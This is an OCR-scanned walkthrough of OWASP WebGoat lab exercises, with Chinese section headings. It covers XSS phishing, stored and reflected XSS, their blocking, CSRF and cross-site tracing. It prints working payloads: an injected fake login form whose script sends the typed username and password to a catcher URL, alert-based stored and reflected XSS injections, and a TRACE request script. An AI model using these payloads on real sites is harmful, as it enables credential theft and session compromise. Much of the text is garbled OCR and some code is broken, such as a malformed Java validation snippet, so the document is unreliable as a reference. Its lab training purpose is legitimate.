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1.1 Phishing With XSS (444 %37 )
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<script>

function hack(){

alert("Had this been a real attack... Your credentials were just
stolen.UserName="+document.forms[1].user.value+"Password:"+document.forms[1].pass.value);
XSSImage = new Image();

XSSImage.src = "http://localhost/WebGoat/catcher?
PROPERTY=yes&user="+document.forms[1].user.value+"&password="+document.forms[1].pass.value;
}</script><form>

<br><br><HR><H3>This feature requires account login :</H3><br><br>

Enter UserName:<br><input type="text" id="user" name="user" /><br>

Enter Password:<br><input type="password" id="pass" name="pass" /><br>

<input type="button" id="login" name="login" value="login" onclick="hack()" />

</form><br><br></HR>
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This lesson is an example of how a website might support a phishing attack

Below iz an example of a standard search feature.
Using X35 and HTML insertion, yvour goal is to:

» Insert html to that requests credentials
= Add javascript to actually collect the credentials
= Post the credentials to http://localhost/webgoat/catcher?PROPERTY =yes...

To pass this lesson, the credentials must be posted to the catcher servlet.

WebGoat Search

This facility will search the WebGoat source.

Search: <script> function hack()

Results for:

This feature requires account login :

Enter UserMame:

123
Enter Password:
(11

login
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Had this been a real attack... Your credentials were just stolen.UserMame=123Password:456
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1.2 Stored XSS (f#iEEIXSSH )
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Stage 1

Stage 1@ Execute a Stored Cross Site Scripting (X55) attack.
As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. Verify
that 'Jerry' is affected by the attack.
The passwords for the accounts are the lower-case versions of their given names (e.q. the
password for Tom Cat is "tom").
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&~ Goat Hills Financial
i# Human Resources
[ri'ii" Welcome Back Tom = ]
First Name: Tom Last Name: <SCI’i[:Itf=-a|er‘t('XSSh<_|"5l
Street: 2211 HyperThread Rd.  City/State:  New York, NY
Fhane: 443-509-0762 Start Date: 1011999
S3N: 792-14-6364 Salary: 80000
Credit Card:  5481360857968521 Credit Card /35009
Comments:  Co-Owner. Manager: Tom Cat -
HA o
Disciplinary Eésticcl'ﬁlmarv
Explanation: Dates: o
ViewProfile “ UpdateProfile l Logout
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Stage 1: Execute a Stored Cross Site Scripting (X55) attack.

Az 'Tom', execute a Stored XS5 attack against the Street field on the Edit Profile page. Werify

that Jerry' is affected by the attack.

The passwords for the accounts are the lower-case versions of their given names (e.g. the

password for Tom Cat is "tom").

“  Goat Hills Financial
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Jﬁa Human Resources

fi1i'| Welcome Back Larry - Staff Listing Page
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Belect from the list below

Larry Stooge (employee) &

Logout
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Stage 1

Stage 1: Execute a Stored Cross Site Scripting (XS5) attack.

Az 'Tom', execute a Stored XS5 attack against the Street field on the Edit Profile page. Verify
that lerry' is affected by the attack.

The passwords for the accounts are the lower-case versions of their given names (e.g. the
password for Tom Cat is "tom").
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1.3 Block Stored XSS using Input Validation(f$ F i A\ 3 ilE BH 1k 77 % 3 XSSH 7 )

7E UpdateProfile.java ¥ A 2 BT~ RAZEIT

String regex="[\\s\\w-]" ;

String
stringToValidate=firsName+ssn-+title+phone+address1+address2+startDate+ccn+disciplinaryActionDate+disciplinaryActionNotes+personalDescription;
Pattern pattern=Pattern.compile9(regex);

validate(stringToValidate);
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1.4 Stored XSS Revisted (77 4% % XSSH i) i)

EARAZRT, HB12FHPRES—KETLL, BTFE L3FHEMTEEHFU, XKRET XSS KRM. HEE: ZXEKHZBruce Ml
David.

1.5 Block Stored XSS using Output Encoding ({3 F % 14 46 75 BH 1E 77 % R XSS 7 )
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1.6 Reflect XSS (4 XSS Bi)
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Stage 5

Stage 5: Execute a Reflected XS5 attack.

Use a vulnerability on the Search Staff page to craft a URL containing a reflected XSS attack.
werify that another employee using the link is affected by the attack.

ﬁ“ Goat Hills Financial

Human Resources
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Employee sdfsd not found.
Name <script=alert("€S5");</:

1.7 Block Reflect XSS (BHIE & 5% XSS)

TERUT 12MEMT —AMNRAEKLE, RERMNBRER, & L6BE—K, RERIA, XSSKRK, LREBEILT.

1.8 Stored XSS Attacks (FEf% R XSS i)
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It iz always a good practice to validate all input on the server side. X35 can occur when
unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker
can craft a URL with the attack script and post it to another website, email it, or otherwise get
a wictim to click on it.

* Congratulations. You have successfully completed this lesson.
* Whoops! You entered instead of your three digit code. Please try again.

Shopping Cart

Shopping Cart Items -- To Buy Now Price |Quantity | Total
Studio RTA - Laptop/Reading Cart with Tilting
Surface - Cherry 63.3311 $69.99
Dynex - Traditional Notebook Case 27.99(1 $27.99
Hewlett-Packard - Pavilion Noteboolk with Intel
Cantring 1599.99] 1 $1599.99
3 - Year Performance Service Flan $1000 and Owver 289,991 $2599,99
The total charged to your credit card: $1997.96 UpdateCart
Enter your credit card number: 4128 3214 0002 1999
Enter yvour three digit access code: <script>alert( =
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1.9 Cross Site Request Forgery (CSRF)  (B&35 %5 R Hh i)
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1.13 Cross Site Tracing XST Attacks (B ¥ B &% ¥ 7 )

B35 I A Bt R A B9 http trace, T U RIZE GRS MG BBA EIK, R)FET ajax BORBEER, W OCK R 32 M B0 BRI R0
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<script>if(navigator.appName.indexOf('' Microsoft')!=1 ){var xmlHttp = new ActiveXObject(''Microsoft XMLHTTP");
xmlHttp.open(""TRACE","./" false);xmlHttp.send(); var strl = xmlHttp.responseText;while(strl.indexOf('"\n'")>-1) strl=strl.replace("\n","

<br>"");document.write(strl);}
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